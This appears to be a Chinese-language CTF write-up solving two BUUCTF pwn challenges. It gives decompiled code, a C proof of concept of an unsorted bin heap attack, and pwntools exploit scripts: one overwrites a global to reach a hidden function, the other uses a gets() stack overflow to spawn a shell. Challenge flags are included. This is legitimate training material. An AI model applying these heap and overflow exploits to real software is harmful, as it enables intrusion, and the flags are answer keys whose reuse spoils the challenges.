BUU PWN
hitcontraining_magicheap
只需使
1 2 3 4 5 6 7 8 9 10 11 12
| if ( v3 == 4869 ) { if ( (unsigned __int64)magic <= 0x1305 ) { puts("So sad !"); } else { puts("Congrt !"); l33t(); } }
|
magic > 0x1305即可,然而采用unsorted bin attack可以实现。
unsorted bin attack知识回顾
poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| #include <stdio.h> #include <stdlib.h> #include <string.h>
int main() { char *ptr = NULL, *controllable_chunk, *trigger;
controllable_chunk = malloc(400); malloc(10);
free(controllable_chunk); ((void **)controllable_chunk)[1] = &ptr - 2;
trigger = malloc(400);
fprintf(stderr, "ptr: %p\n ", ptr);
return 0; }
|
ref: http://blog.eonew.cn/archives/623
exp
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
|
from pwn import *
io = remote('node3.buuoj.cn', 28961)
def add(sz, d): io.sendlineafter(':', '1') io.sendlineafter(':', str(sz)) io.sendafter(':', d)
def rm(idx): io.sendlineafter(':', '3') io.sendlineafter(':', str(idx))
def edit(idx, sz, d): io.sendlineafter(':', '2') io.sendlineafter(':', str(idx)) io.sendlineafter(':', str(sz)) io.sendafter(':', d) add(0x80, 'A') add(0x400, 'B') add(0x80, 'C')
rm(1) p = b'\x00' * 0x80 p += p64(0) + p64(0x411) p += p64(0) + p64(0x6020A0 - 0x10) edit(0, len(p), p)
add(0x400, 'B')
io.sendlineafter(':', '4869') io.interactive()
|
flag{02e8c026-509a-4dcc-bbdd-47272f8f63bb}
mrctf2020_easyoverflow
main
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22
| int __cdecl main(int argc, const char **argv, const char **envp) { char v4[48]; char v5[24]; __int64 v6; __int64 v7; __int64 v8; __int16 v9; unsigned __int64 v10;
v10 = __readfsqword(0x28u); strcpy(v5, "ju3t_@_f@k3_f1@g"); v6 = 0LL; v7 = 0LL; v8 = 0LL; v9 = 0; gets(v4, argv); if ( !(unsigned int)check((__int64)v5) ) exit(0); system("/bin/sh"); return 0; }
|
check
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| __int64 __fastcall check(__int64 a1) { int i; int v3;
v3 = strlen(fake_flag); for ( i = 0; ; ++i ) { if ( i == v3 ) return 1LL; if ( *(_BYTE *)(i + a1) != fake_flag[i] ) break; } return 0LL; }
|
gets存在漏洞,然而v5与fake_flag字符串不同,只需使v5字符串为fake_flag即可,也就是赋值为‘n0t_r3@11y_f1@g\x00’
exp
1 2 3 4 5 6 7 8 9 10
| from pwn import *
io = remote('node3.buuoj.cn', 27093) p = b'A' * 48 p += b'n0t_r3@11y_f1@g\x00' io.sendline(p)
io.interactive()
|
flag{fd1881f7-e080-4481-b01f-f2e27c15502c}
更新中…